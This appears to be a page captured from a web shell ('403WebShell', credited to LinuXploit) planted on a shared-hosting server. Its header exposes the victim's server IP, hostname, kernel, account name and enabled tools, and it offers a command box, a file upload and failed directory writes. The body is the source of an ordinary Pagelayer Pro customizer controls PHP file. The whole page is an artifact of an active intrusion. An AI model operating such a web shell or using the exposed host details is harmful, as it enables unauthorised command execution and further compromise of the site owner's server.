Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.118.28.160
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/sitepad/editor/site-data/plugins/pagelayer-pro/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/softaculous/sitepad/editor/site-data/plugins/pagelayer-pro/main/customizer-controls.php
<?php

//////////////////////////////////////////////////////////////
//===========================================================
// PAGELAYER
// Inspired by the DESIRE to be the BEST OF ALL
// ----------------------------------------------------------
// Started by: Pulkit Gupta
// Date:	   23rd Jan 2017
// Time:	   23:00 hrs
// Site:	   http://pagelayer.com/wordpress (PAGELAYER)
// ----------------------------------------------------------
// Please Read the Terms of use at http://pagelayer.com/tos
// ----------------------------------------------------------
//===========================================================
// (c)Pagelayer Team
//===========================================================
//////////////////////////////////////////////////////////////

// Are we being accessed directly ?
if(!defined('PAGELAYER_VERSION')) {
	exit('Hacking Attempt !');
}

/**
 * Override customize controls class
 *
 */
class Pagelayer_Customize_Control extends WP_Customize_Control{
	
	public $show_filter = '';
	public $li_class = '';
	
	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();
		
		if(!empty($this->show_filter)){
			$this->json['show_filter'] = $this->show_filter;
		}
	}
	
	protected function render() {
		$id    = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
		$class = 'pagelayer-customize-control customize-control customize-control-' . $this->type;
		
		$class .= ' '.$this->li_class;

		printf( '<li id="%s" class="%s">', esc_attr( $id ), esc_attr( $class ) );
		$this->render_content();
		echo '</li>';
	}
}

/**
 * Padding control to separate general and style controls
 *
 */
class Pagelayer_Padding_Control extends Pagelayer_Customize_Control {
		
	/**
	 * The type of control being rendered
	 */
	public $type = 'pagelayer-padding-control';
	public $responsive;
	public $units;
	
	/**
	 * Constructor
	 */
	public function __construct( $manager, $id, $args = array(), $options = array() ) {
		parent::__construct( $manager, $id, $args );
		
	}

	/**
	 * Render the control in the customizer
	 */
	public function render_content() {
		
		$units = (array) $this->units;
		
		// Output the label and description if they were passed in.
		if ( isset( $this->label ) && '' !== $this->label ) {
			echo '<span class="customize-control-title pagelayer-customize-control-title">' . sanitize_text_field( $this->label );
			
			if(!empty($this->responsive )){
				echo '<span class="pagelayer-devices">
					<button type="button" class="active-device" aria-pressed="true" data-device="desktop">
					<i class="dashicons dashicons-desktop"></i>
					</button>
					<button type="button"aria-pressed="false" data-device="tablet">
					<i class="dashicons dashicons-tablet"></i>
					</button>
					<button type="button" aria-pressed="false" data-device="mobile">
					<i class="dashicons dashicons-smartphone"></i>
					</button>
				</span>';
			}
			
			if(!empty($units)){
				?>
				<span class="pagelayer-units">
					<input type="hidden" class="pagelayer-unit-input" value="<?php echo esc_attr($this->value('unit')); ?>" <?php $this->link('unit'); ?>></input>
					<?php 
					foreach($units as $unit){
						echo '<span data-unit="'.$unit.'"> '.$unit.' </span>';
					}
					?>
				</span>
				<?php
			}
				
			echo '</span>';
		}
		
		$settings = array();
		
		foreach ( $this->settings as $key => $setting ){
			$key = str_replace(['_mobile', '_tablet'], '', $key);
			
			if(in_array($key, $settings)){
				continue;
			}
			
			$settings[] = $key;
		}		
		
		$screens = array('');
		
		if(!empty($this->responsive)){
			$screens = array('', '_tablet', '_mobile');
		}
		
		echo '<div class="pagelayer-paddings-holder">';
		
		foreach($screens as $screen){
			
			$show_device = '';
			if(count($screens) > 1){
				$show_device =  'data-show-device="'.(empty($screen) ? '_desktop' : $screen).'"';
			}
			
			echo '<div class="pagelayer-control-padding" '.$show_device.'>';
			foreach($settings as $setting){
				
				// Skip units for responsive
				if($setting == 'unit'){
					continue;
				}
				
				$setting_name = $setting.$screen;
	?>
		<input type="number" class="pagelayer-padding-input" value="<?php echo esc_attr($this->value($setting_name)); ?>" <?php $this->link($setting_name); ?>></input>
	<?php
			}
			
			echo '<i class="dashicons dashicons-admin-links"></i></div>';
		}
		
		echo '</div>';
	}
}

/**
 * Typography control controls
 *
 */
class Pagelayer_typo_Control extends Pagelayer_Customize_Control {
		
	/**
	 * The type of control being rendered
	 */
	public $type = 'pagelayer-typo-control';
	public $responsive;
	public $style;
	
	/**
	 * Constructor
	 */
	public function __construct( $manager, $id, $args = array(), $options = array() ) {
		parent::__construct( $manager, $id, $args );
	}
	
	/**
	 * Render the control in the customizer
	 */
	public function render_content() {
		global $pagelayer;
		 
		// Output the label and description if they were passed in.
		if ( isset( $this->label ) && '' !== $this->label ) {
			echo '<span class="customize-control-title">' . sanitize_text_field( $this->label ) .'</span>';
		}
		
		$settings = $pagelayer->font_settings;
		
		echo '<div class="pagelayer-typography-holder">';			
			
			$global_font = $this->value('global-font');
			
			if(!empty($global_font) && !isset($pagelayer->global_fonts[$global_font])){
				$global_font = 'primary';
			}
				
			echo '<div class="pagelayer-control-typography">';
	?>
	<div class="pagelayer-control-typo-holder <?php echo (!empty($global_font) ? 'pagelayer-global-on' : ''); ?>">
		<div class="pagelayer-control-typo-icons-holder">
			<span class="pagelayer-control-typo-icon dashicons dashicons-edit"></span>
		</div>
		<div class="pagelayer-control-typo">
			<div class="pagelayer-global-setting-font">
				<b><?php _e('Global Fonts'); ?></b>
				<span class="pagelayer-control-global-typo-icon dashicons dashicons-admin-site-alt3"></span>
				<span class="dashicons dashicons-admin-generic"></span>
				<input class="pagelayer-global-font-input" type="hidden" <?php $this->link('global-font'); ?> value="<?php echo esc_attr($global_font); ?>" data-key="<?php echo esc_attr($global_font); ?>">
				
				<div class="pagelayer-global-font-list"></div>		
			</div>		
			<?php foreach($settings as $sk => $sval){ ?>
				<div class="pagelayer-control-typo-fields">
					<label class="pagelayer-control-typo-fields-label"><?php echo $sval['label']?>
					<?php 
					$screens = array('');
					if(!empty($sval['responsive'])){
						
						$screens = array('desktop', 'tablet', 'mobile');
						
						?>
						<span class="pagelayer-devices">
							<button type="button" class="active-device" aria-pressed="true" data-device="desktop">
							<i class="dashicons dashicons-desktop"></i>
							</button>
							<button type="button"aria-pressed="false" data-device="tablet">
							<i class="dashicons dashicons-tablet"></i>
							</button>
							<button type="button" aria-pressed="false" data-device="mobile">
							<i class="dashicons dashicons-smartphone"></i>
							</button>
						</span>
					<?php } ?>
					<span class="pagelayer-typo-global-default dashicons dashicons-undo" title="<?php _e('Restore Global'); ?>"></span>
					</label>
					<?php
					foreach($screens as $screen){
		
						$show_device = '';
						$field_name = $sk;
						
						if(count($screens) > 1){
							$show_device = 'data-show-device="_'.$screen.'"';
							$field_name = $sk.($screen == 'desktop' ? '' : '_'.$screen);
						}
						
						$field_val = esc_attr($this->value($field_name));
						
						if(isset($sval['choices'])){ ?>
							
							<select name="<?php echo $field_name; ?>" <?php $this->link($field_name); ?> data-font-key="<?php echo $sk;?>" data-default-value="<?php echo $field_val; ?>" <?php echo $show_device; ?>>
								<?php
								// This add this js
								//echo pagelayer_create_font_options($sval['choices'], $this->value($field_name));
								?>
							</select>
						<?php } else { ?>
							<input name="<?php echo $field_name; ?>" type="number" <?php $this->link($field_name); ?> <?php echo $show_device; ?>>
						<?php } 
					}
					?>
				</div>
			<?php }?>
		</div>
	</div>
		<?php			
		echo '</div></div>';
	}
}

/**
 * Alpha Color Picker Custom Control
 *
 * @author Braad Martin <http://braadmartin.com>
 * @license http://www.gnu.org/licenses/gpl-3.0.html
 * @link https://github.com/BraadMartin/components/tree/master/customizer/alpha-color-picker
 */
class Pagelayer_Customize_Alpha_Color_Control extends Pagelayer_Customize_Control {
	/**
	 * The type of control being rendered
	 */
	public $type = 'pagelayer-alpha-color';
	/**
	 * Add support for palettes to be passed in.
	 *
	 * Supported palette values are true, false, or an array of RGBa and Hex colors.
	 */
	public $palette;
	/**
	 * Add support for showing the opacity value on the slider handle.
	 */
	public $show_opacity;
	/**
	 * Enqueue our scripts and styles
	 */
	public function enqueue() {
		wp_enqueue_script( 'wp-color-picker' );
		wp_enqueue_style( 'wp-color-picker' );
	}
	/**
	 * Render the control in the customizer
	 */
	public function render_content() {
		global $pagelayer;
		
		$setvalue = $this->value();
		
		// Process the palette
		if ( is_array( $this->palette ) ) {
			$palette = implode( '|', $this->palette );
		} else {
			// Default to true.
			$palette = ( false === $this->palette || 'false' === $this->palette ) ? 'false' : 'true';
		}

		// Support passing show_opacity as string or boolean. Default to true.
		$show_opacity = ( false === $this->show_opacity || 'false' === $this->show_opacity ) ? 'false' : 'true';

		// Output the label and description if they were passed in.
		if ( isset( $this->label ) && '' !== $this->label ) {
			echo '<span class="customize-control-title">' . sanitize_text_field( $this->label ) . '</span>';
		}
		if ( isset( $this->description ) && '' !== $this->description ) {
			echo '<span class="description pagelayer-customize-description">' . sanitize_text_field( $this->description ) . '</span>';
		} ?>
		
			<span class="pagelayer-control-global-color-icon dashicons dashicons-admin-site-alt3"></span>
			<div class="pagelayer-global-color-list">
			<div class="pagelayer-global-setting-color">
			<b>Global Colors</b>
			<span class="dashicons dashicons-admin-generic"></span></div>
			<?php
				$gkey = '';
				if( !empty($setvalue) && $setvalue[0] == '$'){
					$gkey = substr($setvalue, 1);
					$gkey = isset($pagelayer->global_colors[$gkey]) ? $gkey : 'primary';
				}
				
				foreach($pagelayer->global_colors as $cid => $color){
				
				$active_class = '';
				if($cid == $gkey){
					$active_class = 'pagelayer-global-selected';
				}
			?>
				<div class="pagelayer-global-color-list-item <?php echo $active_class; ?>" data-global-id="<?php echo $cid; ?>">
					<span class="pagelayer-global-color-pre" style="background:<?php echo $color['value']; ?>;"></span>
					<span class="pagelayer-global-color-title"><?php echo $color['title'];?></span>
					<span class="pagelayer-global-color-code"><?php echo $color['value']; ?></span>
				</div>
			<?php }?>
			</div>
			<input class="pagelayer-alpha-color-control" type="text" data-show-opacity="<?php echo $show_opacity; ?>" data-palette="<?php echo esc_attr( $palette ); ?>" data-default-color="<?php echo esc_attr( $this->settings['default']->default ); ?>" <?php $this->link(); ?>  />
		<?php

	}
}

// Global color palette control
class Pagelayer_Color_Repeater_Control extends Pagelayer_Customize_Control {
	/**
	 * The type of control being rendered
	 */
	public $type = 'pagelayer-alpha-color';
	/**
	 * Button labels
	 */
	public $button_label = '';
	/**
	 * Constructor
	 */
	public function __construct( $manager, $id, $args = array(), $options = array() ) {
		parent::__construct( $manager, $id, $args );
		
		if(empty($this->button_label)){
			$this->button_label = __( 'Add New Color', 'pagelayer' );
		}
	}
	
	/**
	 * Render the control in the customizer
	 */
	public function render_content() {
		
		$values = $this->value();
		
		$decode_values = json_decode($values, true);
		
		$skip_keys = array('primary', 'secondary', 'text', 'accent');
	?>
	  <div class="pagelayer-color-palette-control">
			<?php if( !empty( $this->label ) ) { ?>
				<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php } ?>
			<?php if( !empty( $this->description ) ) { ?>
				<span class="customize-control-description"><?php echo esc_html( $this->description ); ?></span>
			<?php } ?>
			<input type="hidden" class="pagelayer-color-palette-data" <?php $this->link(); ?>>			
			<?php
			foreach( $decode_values as $kk => $val){ ?>
			
			<div class="pagelayer-color-holder">
				<span class="pagelayer-color-title" contenteditable="true"><?php _e($val['title']); ?></span>
				<span class="pagelayer-color-controls <?php echo (in_array($kk, $skip_keys)? 'pagelayer-prevent-delete' : ''); ?>">
					<?php echo esc_attr($val['value']) ?> 
				</span>
				<?php if(!in_array($kk, $skip_keys)){ ?>
					<span class="customize-control-color-repeater-delete"><span class="dashicons dashicons-no-alt"></span></span>
				<?php }?>
				<input class="pagelayer-alpha-color-control" type="text" data-show-opacity="true" data-palette="true" data-default-color="<?php echo esc_attr($val['value']); ?>" data-id="<?php echo esc_attr($kk); ?>"  data-title="<?php echo esc_attr($val['title']); ?>" value="<?php echo esc_attr($val['value']); ?>" />
			</div>
			
			<?php }?>
			<button class="button customize-control-color-repeater-add" type="button"><?php echo $this->button_label; ?></button>
		</div>
	<?php
	}
}

// Global color palette control
class Pagelayer_Font_Repeater_Control extends Pagelayer_Customize_Control {
	/**
	 * The type of control being rendered
	 */
	public $type = 'pagelayer-global-font';
	/**
	 * Button labels
	 */
	public $button_label = '';
	
	/**
	 * Constructor
	 */
	public function __construct( $manager, $id, $args = array(), $options = array() ) {
		parent::__construct( $manager, $id, $args );
		
		if(empty($this->button_label)){
			$this->button_label = __( 'Add New Font', 'pagelayer' );
		}
	}
	
	/**
	 * Render the control in the customizer
	 */
	public function render_content() {
		global $pagelayer;
		
		$values = $this->value();
		
		$decode_values = (array) json_decode($values, true);
		
		$settings = $pagelayer->font_settings;
		
		$skip_keys = array('primary', 'secondary', 'text', 'accent');
	?>
	  <div class="pagelayer-font-palette-control">
			<?php if( !empty( $this->label ) ) { ?>
				<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php } ?>
			<?php if( !empty( $this->description ) ) { ?>
				<span class="customize-control-description"><?php echo esc_html( $this->description ); ?></span>
			<?php } ?>
			<input type="hidden" class="pagelayer-font-palette-data" <?php $this->link(); ?>>			
			<?php
			foreach( $decode_values as $kk => $val){ ?>
			
			<div class="pagelayer-font-holder" data-id="<?php echo $kk; ?>">
				<span class="pagelayer-font-title" contenteditable="true"><?php _e($val['title']); ?></span>
				<?php if(!in_array($kk, $skip_keys)){ ?>
					<span class="customize-control-font-repeater-delete"><span class="dashicons dashicons-no-alt"></span></span>
				<?php }?>
				
				<!-- Font Start -->
				<div class="pagelayer-control-typo-holder">
					<span class="pagelayer-control-typo-icon dashicons dashicons-edit"></span>
					<div class="pagelayer-control-typo">
					
					<?php foreach($settings as $sk => $sval){ ?>
						<div class="pagelayer-control-typo-fields">
							<label class="pagelayer-control-typo-fields-label"><?php echo $sval['label']?>
							
							<?php 
							$screens = array('');
							if(!empty($sval['responsive'])){
								
								$screens = array('desktop', 'tablet', 'mobile');
								
								?>
								<span class="pagelayer-devices">
									<button type="button" class="active-device" aria-pressed="true" data-device="desktop">
									<i class="dashicons dashicons-desktop"></i>
									</button>
									<button type="button"aria-pressed="false" data-device="tablet">
									<i class="dashicons dashicons-tablet"></i>
									</button>
									<button type="button" aria-pressed="false" data-device="mobile">
									<i class="dashicons dashicons-smartphone"></i>
									</button>
								</span>
							<?php } ?>
							</label>
							
							<?php
						foreach($screens as $screen){
		
							$show_device = '';
							$field_name = $sk;
							$field_val = (empty($val['value'][$sk]) ? '' : $val['value'][$sk]);
							
							if(count($screens) > 1){
								$field_name = $sk.'['.$screen.']';
								$show_device = 'data-show-device="_'.$screen.'"';
								
								if(is_array($field_val)){
									$field_val = (empty($field_val[$screen]) ? '' : $field_val[$screen]);
								}
							}
							
							if(isset($sval['choices'])){ ?>
								<select name="<?php echo $field_name; ?>" data-font-key="<?php echo $sk;?>" data-default-value="<?php  echo $field_val; ?>" <?php echo $show_device;?>>
									<?php
									// This add this js
									//echo pagelayer_create_font_options($sval['choices'], $val['value'][$sk]);
									?>
								</select>
							<?php } else { ?>
								<input type="number" name="<?php echo $field_name; ?>" value="<?php  echo $field_val; ?>" <?php echo $show_device;?>>
							<?php 
							}
						}
						?>
						</div>
					<?php } ?>
						
					</div>
				</div>
				<!-- Font End -->
			</div>
			
			<?php }?>
			<button class="button customize-control-font-repeater-add" type="button"><?php echo $this->button_label; ?></button>
		</div>
	<?php
	}
}

/**
 * Customize control
 *
 */
class Pagelayer_Custom_Control extends Pagelayer_Customize_Control {
		
	/**
	 * The type of control being rendered
	 */
	public $type = 'pagelayer-customize-control';
	public $responsive;
	public $units;

	/**
	 * Constructor
	 */
	public function __construct( $manager, $id, $args = array(), $options = array() ) {
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Render the control in the customizer
	 */
	public function render_content() {
		
		$units = $this->units;
		$input_id         = '_customize-input-' . $this->id;
		$description_id   = '_customize-description-' . $this->id;
		$describedby_attr = ( ! empty( $this->description ) ) ? ' aria-describedby="' . esc_attr( $description_id ) . '" ' : '';
		switch ( $this->type ) {
			case 'checkbox':
				?>
				<span class="pagelayer-customize-inside-control-row">
					<label for="<?php echo esc_attr( $input_id ); ?>"><?php echo esc_html( $this->label ); ?></label>
					<input
						id="<?php echo esc_attr( $input_id ); ?>"
						class="pagelayer-customize-checkbox"
						<?php echo $describedby_attr; ?>
						type="checkbox"
						value="<?php echo esc_attr( $this->value() ); ?>"
						<?php $this->link(); ?>
						<?php checked( $this->value() ); ?>
					/>
					<?php if ( ! empty( $this->description ) ) : ?>
						<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
					<?php endif; ?>
				</span>
				<?php
				break;
			case 'radio':
				if ( empty( $this->choices ) ) {
					return;
				}

				$name = '_customize-radio-' . $this->id;
				?>
				<?php if ( ! empty( $this->label ) ) : ?>
					<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
				<?php endif; ?>
				<?php if ( ! empty( $this->description ) ) : ?>
					<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
				<?php endif; ?>
				<span class="pagelayer-customize-inside-control-row">
				<?php foreach ( $this->choices as $value => $label ) : ?>
					
						<input
							id="<?php echo esc_attr( $input_id . '-radio-' . $value ); ?>"
							class="pagelayer-customize-radio"
							type="radio"
							<?php echo $describedby_attr; ?>
							value="<?php echo esc_attr( $value ); ?>"
							name="<?php echo esc_attr( $name ); ?>"
							<?php $this->link(); ?>
							<?php checked( $this->value(), $value ); ?>
							data-label="<?php echo esc_html( $label ); ?>"
							/>
				<?php endforeach; ?>
				</span>
				<?php
				break;
			case 'divider':
				echo '<hr class="pagelayer-customize-divider">';
				break;
			case 'pl_slider':
			?>
				<div class="pagelayer-slider-custom-control">
					<span class="customize-control-title"><?php echo esc_html( $this->label ); ?>
					<?php if(!empty($this->responsive )){?>
						<span class="pagelayer-devices">
							<button type="button" class="active-device" aria-pressed="true" data-device="desktop">
							<i class="dashicons dashicons-desktop"></i>
							</button>
							<button type="button"aria-pressed="false" data-device="tablet">
							<i class="dashicons dashicons-tablet"></i>
							</button>
							<button type="button" aria-pressed="false" data-device="mobile">
							<i class="dashicons dashicons-smartphone"></i>
							</button>
						</span>
					<?php } ?>
					</span>
					<?php 
						if(!empty($units)){
					?>
						<span class="pagelayer-units">
							<input type="hidden" class="pagelayer-unit-input" value="<?php echo esc_attr($this->value('unit')); ?>" <?php $this->link('unit'); ?>></input>
							<?php 
							foreach($units as $unit){
								echo '<span data-unit="'.$unit.'"> '.$unit.' </span>';
							}
							?>
						</span>
					<?php }
					
						$screens = array('');
						$set_link = 'slider';
		
						if(!empty($this->responsive)){
							$screens = array('desktop' => '_desktop', 'tablet' => '_tablet', 'mobile' => '_mobile');
						}
										
						foreach($screens as $screen => $_screen){
							
							$show_device = empty($_screen)? '' : 'data-show-device="'.$_screen.'"';
							
							echo '<div class="pagelayer-control-typography" '.$show_device.'>';
					?>
						<input class="pagelayer-slider" type="range" min="<?php echo esc_attr( $this->input_attrs['min'] ); ?>" max="<?php echo esc_attr( $this->input_attrs['max'] ); ?>" step="<?php echo esc_attr( $this->input_attrs['step'] ); ?>" value="<?php echo esc_attr( $this->value($set_link.$_screen) ); ?>" />
						<input type="number" id="<?php echo esc_attr( $this->id ); ?>" name="<?php echo esc_attr( $this->id ); ?>" value="<?php echo esc_attr( $this->value($set_link.$_screen) ); ?>" class="customize-control-slider-value" <?php $this->link($set_link.$_screen); ?> min="<?php echo esc_attr( $this->input_attrs['min'] ); ?>" max="<?php echo esc_attr( $this->input_attrs['max'] ); ?>" step="<?php echo esc_attr( $this->input_attrs['step'] ); ?>"/>
					
						</div>
						<?php } ?>
				</div>
			<?php
				break;
		}
	}
}

/**
 * Switch sanitization
 *
 * @param  string   Switch value
 * @return integer	Sanitized value
 */
if ( ! function_exists( 'pagelayer_switch_sanitization' ) ) {
	function pagelayer_switch_sanitization( $input ) {
		if ( true === $input ) {
			return 1;
		} else {
			return 0;
		}
	}
}

/**
 * Alpha Color (Hex & RGBa) sanitization
 *
 * @param  string	Input to be sanitized
 * @return string	Sanitized input
 */
if ( ! function_exists( 'pagelayer_hex_rgba_sanitization' ) ) {
	function pagelayer_hex_rgba_sanitization( $input, $setting ) {
		if ( empty( $input ) || is_array( $input ) ) {
			return $setting->default;
		}

		if ( false === strpos( $input, 'rgba' ) ) {
			// If string doesn't start with 'rgba' then santize as hex color
			$input = sanitize_hex_color( $input );
		} else {
			// Sanitize as RGBa color
			$input = str_replace( ' ', '', $input );
			sscanf( $input, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha );
			$input = 'rgba(' . pagelayer_in_range( $red, 0, 255 ) . ',' . pagelayer_in_range( $green, 0, 255 ) . ',' . pagelayer_in_range( $blue, 0, 255 ) . ',' . pagelayer_in_range( $alpha, 0, 1 ) . ')';
		}
		return $input;
	}
}

/**
 * Only allow values between a certain minimum & maxmium range
 *
 * @param  number	Input to be sanitized
 * @return number	Sanitized input
 */
if ( ! function_exists( 'pagelayer_in_range' ) ) {
	function pagelayer_in_range( $input, $min, $max ){
		if ( $input < $min ) {
			$input = $min;
		}
		if ( $input > $max ) {
			$input = $max;
		}
		return $input;
	}
}

// Create font options
function pagelayer_create_font_options( $args, $set ){
	$options = '';
	foreach( $args as $value => $label ){
		$_value = $value;
		
		if(is_numeric($value)){
			$_value = $label;
		}
		
		// Single item
		if(is_string($label)){
			$options .= pagelayer_sel_option( $_value, $label, $set);
			continue;
		}
		if( $value == 'default'){
			$options .= pagelayer_sel_option( '', $value, $set);
			continue;
		}
		
		$options .= '<optgroup label="'. $value .'">';
		$options .= pagelayer_create_font_options($label,  $set);
		$options .= '</optgroup>';
	}
	
	return $options;
}

Youez - 2016 - github.com/yon3zu
LinuXploit